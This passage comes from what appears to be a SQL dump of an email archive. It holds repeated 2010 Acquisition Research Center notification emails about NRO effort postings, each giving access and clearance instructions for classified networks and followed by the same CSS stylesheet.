Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13875,'aaron_hbgary_com/13875.html'),(12727,'2010-10-06','arc@westfields.net','/aaron@hbgary.com/new/1297009369.M138200P14101Q7582.eml','federal@hbgary.com','COMM / Roubaix Updated Schedule','\r\nThe schedule has been updated on the NRO/COMM-Roubaix effort website.  For more information, please logon to the ARC and look at the Schedule tab for this effort.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12160,'aaron_hbgary_com/12160.html'),(12728,'2010-10-06','arc@westfields.net','/aaron@hbgary.com/new/1297009369.M349267P14101Q7583.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5683,'aaron_hbgary_com/5683.html'),(12729,'2010-10-06','arc@westfields.net','/aaron@hbgary.com/new/1297009369.M880242P14101Q7584.eml','federal@hbgary.com','COMM / Excursion Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Excursion effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { 